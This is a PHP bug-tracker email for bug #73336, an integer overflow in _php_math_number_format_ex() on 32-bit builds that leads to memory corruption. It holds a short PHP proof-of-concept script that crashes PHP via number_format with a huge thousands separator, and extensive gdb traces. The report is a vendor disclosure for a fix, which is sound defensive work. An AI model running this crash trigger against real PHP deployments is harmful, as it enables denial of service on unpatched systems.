Sec Bug->Bug #73336 [Csd]: Memory corruption in _php_math_number_format_ex()
| From: | stas@php.net | Date: | Mon, 13 Feb 2017 01:07:04 +0000 |
| Subject: | Sec Bug->Bug #73336 [Csd]: Memory corruption in _php_math_number_format_ex() | ||
| References: | 1 | Groups: | php.bugs |
| Request: | Send a blank email to php-bugs+get-207320@lists.php.net to get a copy of this message | ||
Edit report at https://bugs.php.net/bug.php?id=73336&edit=1
ID: 73336
Updated by: stas@php.net
Reported by: bughunter at fosec dot vn
Summary: Memory corruption in _php_math_number_format_ex()
Status: Closed
-Type: Security
+Type: Bug
Package: *General Issues
Operating System: CentOS 7 x86
PHP Version: 7.1Git-2016-10-18 (Git)
Assigned To: stas
Block user comment: N
Private report: N
Previous Comments:
------------------------------------------------------------------------
[2016-11-05 21:49:42] stas@php.net
The fix for this bug has been committed.
Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.
For Windows:
http://windows.php.net/snapshots/
Thank you for the report, and for helping us make PHP better.
------------------------------------------------------------------------
[2016-10-18 09:50:27] bughunter at fosec dot vn
Description:
------------
I use php-src from https://github.com/php/php-src.
commit: 0a67b29a7c8ce1646be0bc06ddb4a4e55cb4cf73.
I have found some vulnerable code at _php_math_number_format_ex() function.
_php_math_number_format_ex() function is an internal function which is called from number_format()
function. number_format() function takes in a string and uses it as the thousand separator. If the
separator string is too long, it may lead to string overflow.
Inside the code of the function itself, there are checks in the thousand_sep_len to avoid string
overflow:
PHPAPI zend_string *_php_math_number_format_ex(double d, int dec, char *dec_point,
size_t dec_point_len, char *thousand_sep, size_t thousand_sep_len)
{
....
/* allow for thousand separators */
if (thousand_sep) {
if (integral + thousand_sep_len * ((integral-1) / 3) < integral) {
/* overflow */
php_error_docref(NULL, E_ERROR, "String overflow");
}
integral += thousand_sep_len * ((integral-1) / 3);
}
reslen = integral;
....
}
The problem is that both integral variable and thousand_sep_len variable are unsigned integers, in
32 bits architectures this means 2^32 - 1 maximum value. So, if we set some appropriate values in
integral and thousand_sep_len, for example: integral = 0x0a and thousand_sep_len = 0x65000000,
integral + thousand_sep_len * ((integral-1) / 3) equals to 0x12F00000a, a result larger than the
maximum representable value. In 32 bits architectures, the result will become 0x2F00000a and pass
the check.
Test script:
----------------
<?php
ini_set('memory_limit', -1);
$thousands_sep = str_repeat("A", 0x65000000);
number_format(1234567890, 0, ".", $thousands_sep);
?>
Open php program in gdb, set a breakpoint at line in file ext/standard/math.c:1149
[----------------------------------registers-----------------------------------]
EAX: 0x2f00000a ('\n')
EBX: 0x52400010 ('A' <repeats 200 times>...)
ECX: 0xb7da8000 --> 0x1b8d9c
EDX: 0x2f000000 ('')
ESI: 0x65000000 ('A' <repeats 200 times>...)
EDI: 0xb7860188 --> 0x848b04e (<ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_HANDLER>: push ebp)
EBP: 0xbfffbe88 --> 0xbfffbf28 --> 0xbfffbf68 --> 0xbfffbf88 --> 0xbfffbfc8 -->
0xbfffbff8 (--> ...)
ESP: 0xbfffbe30 --> 0x0
EIP: 0x834d202 (<_php_math_number_format_ex+316>: cmp eax,DWORD PTR [ebp-0x18])
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x834d1fd <_php_math_number_format_ex+311>: mov eax,DWORD PTR [ebp-0x18]
0x834d200 <_php_math_number_format_ex+314>: add eax,edx
0x834d202 <_php_math_number_format_ex+316>: cmp eax,DWORD PTR [ebp-0x18]
=> 0x834d205 <_php_math_number_format_ex+319>: jae 0x834d223
<_php_math_number_format_ex+349>
| 0x834d207 <_php_math_number_format_ex+321>: mov DWORD PTR [esp+0x8],0x89758e9
| 0x834d20f <_php_math_number_format_ex+329>: mov DWORD PTR [esp+0x4],0x1
| 0x834d217 <_php_math_number_format_ex+337>: mov DWORD PTR [esp],0x0
| 0x834d21e <_php_math_number_format_ex+344>: call 0x83c1a10 <php_error_docref0>
|-> 0x834d223 <_php_math_number_format_ex+349>: mov eax,DWORD PTR [ebp-0x18]
0x834d226 <_php_math_number_format_ex+352>: sub eax,0x1
0x834d229 <_php_math_number_format_ex+355>: mov edx,0xaaaaaaab
0x834d22e <_php_math_number_format_ex+360>: mul edx
JUMP is taken
[------------------------------------stack-------------------------------------]
0000| 0xbfffbe30 --> 0x0
0004| 0xbfffbe34 --> 0x89758e1 ("%.*F")
0008| 0xbfffbe38 --> 0x0
0012| 0xbfffbe3c --> 0xb4800000 ('A' <repeats 200 times>...)
0016| 0xbfffbe40 --> 0x41d26580
0020| 0xbfffbe44 --> 0x65000014 ('A' <repeats 200 times>...)
0024| 0xbfffbe48 --> 0xb4800000 ('A' <repeats 200 times>...)
0028| 0xbfffbe4c --> 0x41d26580
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x0834d202 1150 if (integral + thousand_sep_len * ((integral-1) / 3) <
integral) {
gdb-peda$
DWORD PTR [ebp-0x18] is integral variable and EAX register will hold result of integral +
thousand_sep_len * ((integral-1) / 3) . Because integral is lower than 0x2f00000a, integral will be
updated with 0x2f00000a. reslen will be 0x2f00000a.
reslen is used as a parameter in zend_string_alloc() to create a new zend_string object holding
formatted string ( reffer at ext/standard/math.c:1175 ):
res = zend_string_alloc(reslen, 0);
Two local variables s and t are used during format process. They are used to copy numbers to
formatted string and add thousand separator every three digits ( reffer at ext/standard/math.c:1209
):
/* copy the numbers before the decimal point, adding thousand
* separator every three digits */
while (s >= ZSTR_VAL(tmpbuf)) {
*t-- = *s--;
if (thousand_sep && (++count%3)==0 && s >= ZSTR_VAL(tmpbuf)) {
t -= thousand_sep_len;
memcpy(t + 1, thousand_sep, thousand_sep_len);
}
}
Because thousand_sep_len is too big, the result of t -= thousand_sep_len; is unexpected value.
In this example, $ebp-0x10 points to t.
Before
[----------------------------------registers-----------------------------------]
EAX: 0x9b000000 ('A' <repeats 200 times>...)
EBX: 0x52400010 ('A' <repeats 200 times>...)
EFLAGS: 0x287 (CARRY PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x834d3d9 <_php_math_number_format_ex+787>: ja 0x834d3ff
<_php_math_number_format_ex+825>
0x834d3db <_php_math_number_format_ex+789>: mov eax,DWORD PTR [ebp+0x20]
0x834d3de <_php_math_number_format_ex+792>: neg eax
=> 0x834d3e0 <_php_math_number_format_ex+794>: add DWORD PTR [ebp-0x10],eax
0x834d3e3 <_php_math_number_format_ex+797>: mov eax,DWORD PTR [ebp-0x10]
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x0834d3e0 1213 t -= thousand_sep_len;
gdb-peda$ x/1xw $ebp-0x10
0xbfffbe78: 0x52200016
After:
[----------------------------------registers-----------------------------------]
EAX: 0x9b000000 ('A' <repeats 200 times>...)
EBX: 0x52400010 ('A' <repeats 200 times>...)
[-------------------------------------code-------------------------------------]
0x834d3db <_php_math_number_format_ex+789>: mov eax,DWORD PTR [ebp+0x20]
0x834d3de <_php_math_number_format_ex+792>: neg eax
0x834d3e0 <_php_math_number_format_ex+794>: add DWORD PTR [ebp-0x10],eax
=> 0x834d3e3 <_php_math_number_format_ex+797>: mov eax,DWORD PTR [ebp-0x10]
0x834d3e6 <_php_math_number_format_ex+800>: lea edx,[eax+0x1]
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 2, _php_math_number_format_ex (d=1234567890, dec=0x0, dec_point=0xb78012b8 ".",
dec_point_len=0x1, thousand_sep=0x52400010 'A' <repeats 200 times>...,
thousand_sep_len=0x65000000) at /root/fuzzer/php7/ext/standard/math.c:1214
1214 memcpy(t + 1, thousand_sep, thousand_sep_len);
gdb-peda$ x/1xw $ebp-0x10
0xbfffbe78: 0xed200016
0xed200016 is an unusable memory address.
_php_math_number_format_ex function tries to copy thousand separator into formatted string, leads to
memory corruption ( reffer at ext/standard/math.c:1214 ):
memcpy(t + 1, thousand_sep, thousand_sep_len);
[----------------------------------registers-----------------------------------]
EAX: 0x52400010 ('A' <repeats 200 times>...)
EBX: 0x52400010 ('A' <repeats 200 times>...)
ECX: 0x0
EDX: 0xed200017
ESI: 0x65000000 ('A' <repeats 200 times>...)
EDI: 0xb7860188 --> 0x848b04e (<ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_HANDLER>: push ebp)
EBP: 0xbfffbe88 --> 0xbfffbf28 --> 0xbfffbf68 --> 0xbfffbf88 --> 0xbfffbfc8 -->
0xbfffbff8 (--> ...)
ESP: 0xbfffbe30 --> 0xed200017
EIP: 0x834d3fa (<_php_math_number_format_ex+820>: call 0x80647f0 <memcpy@plt>)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x834d3f0 <_php_math_number_format_ex+810>: mov eax,DWORD PTR [ebp+0x1c]
0x834d3f3 <_php_math_number_format_ex+813>: mov DWORD PTR [esp+0x4],eax
0x834d3f7 <_php_math_number_format_ex+817>: mov DWORD PTR [esp],edx
=> 0x834d3fa <_php_math_number_format_ex+820>: call 0x80647f0 <memcpy@plt>
0x834d3ff <_php_math_number_format_ex+825>: mov eax,DWORD PTR [ebp-0x2c]
0x834d402 <_php_math_number_format_ex+828>: add eax,0x10
0x834d405 <_php_math_number_format_ex+831>: cmp eax,DWORD PTR [ebp-0xc]
0x834d408 <_php_math_number_format_ex+834>: jbe 0x834d38e
<_php_math_number_format_ex+712>
Guessed arguments:
arg[0]: 0xed200017
arg[1]: 0x52400010 ('A' <repeats 200 times>...)
arg[2]: 0x65000000 ('A' <repeats 200 times>...)
[------------------------------------stack-------------------------------------]
0000| 0xbfffbe30 --> 0xed200017
0004| 0xbfffbe34 --> 0x52400010 ('A' <repeats 200 times>...)
0008| 0xbfffbe38 --> 0x65000000 ('A' <repeats 200 times>...)
0012| 0xbfffbe3c --> 0xb4800000 ('A' <repeats 200 times>...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x0834d3fa 1214 memcpy(t + 1, thousand_sep, thousand_sep_len);
gdb-peda$
Test script:
---------------
<?php
ini_set('memory_limit', -1);
$thousands_sep = str_repeat("A", 0x65000000);
number_format(1234567890, 0, ".", $thousands_sep);
?>
Expected result:
----------------
No SIGSEGV
Actual result:
--------------
[----------------------------------registers-----------------------------------]
EAX: 0x52400019 ('A' <repeats 200 times>...)
EBX: 0xb7da8000 --> 0x1b8d9c
ECX: 0x64fffff7 ('A' <repeats 200 times>...)
EDX: 0xed200020
ESI: 0xed200017
EDI: 0x52400019 ('A' <repeats 200 times>...)
EBP: 0xbfffbe88 --> 0xbfffbf28 --> 0xbfffbf68 --> 0xbfffbf88 --> 0xbfffbfc8 -->
0xbfffbff8 (--> ...)
ESP: 0xbfffbe20 --> 0x65000000 ('A' <repeats 200 times>...)
EIP: 0xb7d38ed4 (<__memcpy_ssse3_rep+3380>: movdqu XMMWORD PTR [esi],xmm0)
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0xb7d38ec7 <__memcpy_ssse3_rep+3367>: mov esi,esi
0xb7d38ec9 <__memcpy_ssse3_rep+3369>: lea edi,[edi+eiz*1+0x0]
0xb7d38ed0 <__memcpy_ssse3_rep+3376>: movdqu xmm1,XMMWORD PTR [eax]
=> 0xb7d38ed4 <__memcpy_ssse3_rep+3380>: movdqu XMMWORD PTR [esi],xmm0
0xb7d38ed8 <__memcpy_ssse3_rep+3384>: movntdq XMMWORD PTR [edx],xmm1
0xb7d38edc <__memcpy_ssse3_rep+3388>: add eax,0x10
0xb7d38edf <__memcpy_ssse3_rep+3391>: add edx,0x10
0xb7d38ee2 <__memcpy_ssse3_rep+3394>: sub ecx,0x10
[------------------------------------stack-------------------------------------]
0000| 0xbfffbe20 --> 0x65000000 ('A' <repeats 200 times>...)
0004| 0xbfffbe24 --> 0xb7860188 --> 0x848b04e
(<ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_HANDLER>: push ebp)
0008| 0xbfffbe28 --> 0x52400010 ('A' <repeats 200 times>...)
0012| 0xbfffbe2c --> 0x834d3ff (<_php_math_number_format_ex+825>: mov eax,DWORD
PTR [ebp-0x2c])
0016| 0xbfffbe30 --> 0xed200017
0020| 0xbfffbe34 --> 0x52400010 ('A' <repeats 200 times>...)
0024| 0xbfffbe38 --> 0x65000000 ('A' <repeats 200 times>...)
0028| 0xbfffbe3c --> 0xb4800000 ('A' <repeats 200 times>...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
__memcpy_ssse3_rep () at ../sysdeps/i386/i686/multiarch/memcpy-ssse3-rep.S:1269
1269 movdqu %xmm0, (%esi)
gdb-peda$ bt
#0 __memcpy_ssse3_rep () at ../sysdeps/i386/i686/multiarch/memcpy-ssse3-rep.S:1269
#1 0x0834d3ff in _php_math_number_format_ex (d=1234567890, dec=0x0, dec_point=0xb78012b8
".", dec_point_len=0x1,
thousand_sep=0x52400010 'A' <repeats 200 times>..., thousand_sep_len=0x65000000)
at /root/fuzzer/php7/ext/standard/math.c:1214
#2 0x0834da96 in zif_number_format (execute_data=0xb78150a0, return_value=0xbfffbf44)
at /root/fuzzer/php7/ext/standard/math.c:1264
#3 0x0848b0ab in ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_HANDLER () at
/root/fuzzer/php7/Zend/zend_vm_execute.h:628
#4 0x0848ab04 in execute_ex (ex=0xb7815020) at /root/fuzzer/php7/Zend/zend_vm_execute.h:429
#5 0x0848abc7 in zend_execute (op_array=0xb786c3c0, return_value=0x0)
at /root/fuzzer/php7/Zend/zend_vm_execute.h:474
#6 0x0843a606 in zend_execute_scripts (type=0x8, retval=0x0, file_count=0x3) at
/root/fuzzer/php7/Zend/zend.c:1464
#7 0x083c4564 in php_execute_script (primary_file=0xbffff2ec) at /root/fuzzer/php7/main/main.c:2537
#8 0x084fb42e in do_cli (argc=0x3, argv=0x8a5fa88) at /root/fuzzer/php7/sapi/cli/php_cli.c:990
#9 0x084fc37f in main (argc=0x3, argv=0x8a5fa88) at /root/fuzzer/php7/sapi/cli/php_cli.c:1378
#10 0xb7c08943 in __libc_start_main (main=0x84fbc23 <main>, argc=0x3, ubp_av=0xbffff574,
init=0x8505170 <__libc_csu_init>, fini=0x85051e0 <__libc_csu_fini>,
rtld_fini=0xb7fee700 <_dl_fini>,
stack_end=0xbffff56c) at libc-start.c:274
#11 0x08065af1 in _start ()
------------------------------------------------------------------------
--
Edit this bug report at https://bugs.php.net/bug.php?id=73336&edit=1